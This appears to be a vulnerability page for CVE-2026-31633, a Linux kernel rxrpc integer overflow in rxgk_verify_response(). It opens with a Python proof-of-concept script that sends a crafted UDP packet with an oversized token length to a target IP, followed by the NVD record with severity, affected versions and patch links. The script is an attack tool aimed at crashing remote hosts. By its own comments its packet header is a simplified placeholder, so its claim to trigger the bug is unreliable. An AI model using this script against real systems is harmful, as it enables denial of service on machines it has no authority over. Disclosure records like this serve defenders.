CVE-2026-31633

import socket import struct # PoC for CVE-2026-31633 # This script sends a specially crafted UDP packet to trigger the integer overflow # in rxgk_verify_response within the Linux Kernel rxrpc module. TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 7000 # Replace with target rxrpc port if known def create_exploit_packet(): # Construct a packet with a token_len that causes overflow when rounded up # Example: A value close to UINT_MAX that wraps around when rounded header = b"\x00" * 20 # Simplified rxrpc header placeholder # Malicious token length field (simplified for demonstration) # In a real scenario, this would be a specific large integer malicious_len = struct.pack('>I', 0xFFFFFFFC) payload = header + malicious_len + b"A" * 100 return payload if __name__ == "__main__": print(f"[*] Sending exploit packet to {TARGET_IP}:{TARGET_PORT}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(create_exploit_packet(), (TARGET_IP, TARGET_PORT)) print("[+] Packet sent. Check target for crash or instability.")

{"cve": {"id": "CVE-2026-31633", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:42.613", "lastModified": "2026-04-27T20:30:33.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix integer overflow in rxgk_verify_response()\n\nIn rxgk_verify_response(), there's a potential integer overflow due to\nrounding up token_len before checking it, thereby allowing the length check to\nbe bypassed.\n\nFix this by checking the unrounded value against len too (len is limited as\nthe response must fit in a single UDP packet)."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.1", "versionEndExcluding": "6.18.23", "matchCriteriaId": "EAE31F43-AAC5-4801-B2B2-119D62A532A2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.16:-:*:*:*:*:*:*", "matchCriteriaId": "6238B17D-C12B-458F-A138-97039BFC4595"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1f864d9daaf622aeaa774404fd51e7d6a435b046", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/699e52180f4231c257821c037ed5c99d5eb0edb8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c1e242beb6b1efc3c286f617e8d940c8fbf2ed41", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}